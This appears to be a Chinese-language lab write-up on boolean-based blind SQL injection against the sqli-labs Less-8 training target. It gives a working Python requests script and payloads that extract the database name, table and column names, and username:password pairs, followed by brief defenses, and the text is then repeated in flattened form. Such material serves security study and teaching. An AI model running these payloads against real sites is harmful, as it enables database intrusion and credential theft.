python实战之sqli-labs-08
字数 1048 2025-08-10 17:51:49

SQL注入实战:基于布尔盲注的Python自动化攻击

1. 实验环境搭建

1.1 所需组件

  • 操作系统: Windows 10企业版
  • 服务器环境: phpstudy 5.4.5
  • 靶场: sqli-labs Less-8

1.2 环境说明

本实验使用sqli-labs第8关作为靶场,这是一个基于布尔盲注(Boolean-Based Blind SQL Injection)的漏洞场景。布尔盲注的特点是服务器不会直接返回查询结果,而是通过页面返回的不同状态(如内容存在/不存在)来推断信息。

2. 布尔盲注原理

2.1 基本概念

布尔盲注利用SQL查询返回的布尔值(真/假)来逐步推断数据库信息。攻击者构造特定的SQL语句,通过观察页面响应是否包含特定内容(如"You are in")来判断查询条件是否为真。

2.2 关键技术点

  • 使用length()函数获取字符串长度
  • 使用substr()ascii(substr())逐字符提取信息
  • 使用database()获取当前数据库名
  • 查询information_schema获取表/列信息
  • 使用group_concat()合并多行结果
  • 使用limit分页获取数据

3. Python自动化攻击脚本解析

3.1 基础设置

import requests
import string

url = "http://10.9.46.55/sqli/Less-8/"
flag = "You are in"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."
}
c_set = string.printable.strip()  # 所有可打印字符作为字典

3.2 获取数据库名长度

for i in range(20):
    payload = f"?id=2' and length(database())={i} --+"
    res = requests.get(url + payload, headers=headers)
    if flag in res.text:
        db_len = i
        break

3.3 获取数据库名

db_name = ""
for i in range(1, db_len+1):
    for c in c_set:
        payload = f"?id=1' and ascii(substr(database(),{i},1))={ord(c)} --+"
        if flag in requests.get(url + payload, headers=headers).text:
            db_name += c
            break

3.4 获取表信息

3.4.1 表名长度

payload = f"?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+"

3.4.2 表名内容

payload = f"?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={ord(c)} --+"

3.5 获取列信息

3.5.1 针对特定表(users)的列名长度

payload = f"?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))={i} --+"

3.5.2 列名内容

payload = f"?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))={ord(c)} --+"

3.6 获取数据内容

3.6.1 字段长度检测

for j in range(13):  # 已知users表有13条记录
    payload = f"?id=1' and length((select concat(username,0x3a,password) from users limit {j},1))={i} --+"

3.6.2 字段内容提取

payload = f"?id=1' and ascii(substr((select concat(username,0x3a,password) from users limit {j},1),{i},1))={ord(c)} --+"

4. 关键Payload分析

4.1 基本结构

所有payload都遵循以下模式:

?id=1' [SQL条件] --+
  • '用于闭合原SQL语句中的引号
  • --+用于注释掉原SQL语句的剩余部分
  • 中间部分插入我们的布尔条件

4.2 常用函数组合

  1. 长度探测:

    length(database())=8
    
  2. 字符探测:

    ascii(substr(database(),1,1))=115  # 's'ASCII
    
  3. 多行数据合并:

    group_concat(table_name)
    
  4. 字段拼接:

    concat(username,0x3a,password)  # 0x3a是冒号':'
    

5. 防御措施

5.1 根本解决方案

  • 使用参数化查询(prepared statements)
  • 使用ORM框架

5.2 临时缓解措施

  • 输入验证和过滤
  • 最小权限原则
  • 错误信息处理

6. 实验总结

通过这个自动化脚本,我们可以系统地获取以下信息:

  1. 当前数据库名及长度
  2. 所有表名及长度
  3. 特定表的所有列名
  4. 表中的具体数据(如用户名密码)

整个过程展示了布尔盲注的完整利用链,强调了即使是不会直接返回数据的SQL注入漏洞,也可能通过系统的推断方法获取敏感信息。

SQL注入实战:基于布尔盲注的Python自动化攻击 1. 实验环境搭建 1.1 所需组件 操作系统 : Windows 10企业版 服务器环境 : phpstudy 5.4.5 靶场 : sqli-labs Less-8 1.2 环境说明 本实验使用sqli-labs第8关作为靶场,这是一个基于布尔盲注(Boolean-Based Blind SQL Injection)的漏洞场景。布尔盲注的特点是服务器不会直接返回查询结果,而是通过页面返回的不同状态(如内容存在/不存在)来推断信息。 2. 布尔盲注原理 2.1 基本概念 布尔盲注利用SQL查询返回的布尔值(真/假)来逐步推断数据库信息。攻击者构造特定的SQL语句,通过观察页面响应是否包含特定内容(如"You are in")来判断查询条件是否为真。 2.2 关键技术点 使用 length() 函数获取字符串长度 使用 substr() 或 ascii(substr()) 逐字符提取信息 使用 database() 获取当前数据库名 查询 information_schema 获取表/列信息 使用 group_concat() 合并多行结果 使用 limit 分页获取数据 3. Python自动化攻击脚本解析 3.1 基础设置 3.2 获取数据库名长度 3.3 获取数据库名 3.4 获取表信息 3.4.1 表名长度 3.4.2 表名内容 3.5 获取列信息 3.5.1 针对特定表(users)的列名长度 3.5.2 列名内容 3.6 获取数据内容 3.6.1 字段长度检测 3.6.2 字段内容提取 4. 关键Payload分析 4.1 基本结构 所有payload都遵循以下模式: ' 用于闭合原SQL语句中的引号 --+ 用于注释掉原SQL语句的剩余部分 中间部分插入我们的布尔条件 4.2 常用函数组合 长度探测 : 字符探测 : 多行数据合并 : 字段拼接 : 5. 防御措施 5.1 根本解决方案 使用参数化查询(prepared statements) 使用ORM框架 5.2 临时缓解措施 输入验证和过滤 最小权限原则 错误信息处理 6. 实验总结 通过这个自动化脚本,我们可以系统地获取以下信息: 当前数据库名及长度 所有表名及长度 特定表的所有列名 表中的具体数据(如用户名密码) 整个过程展示了布尔盲注的完整利用链,强调了即使是不会直接返回数据的SQL注入漏洞,也可能通过系统的推断方法获取敏感信息。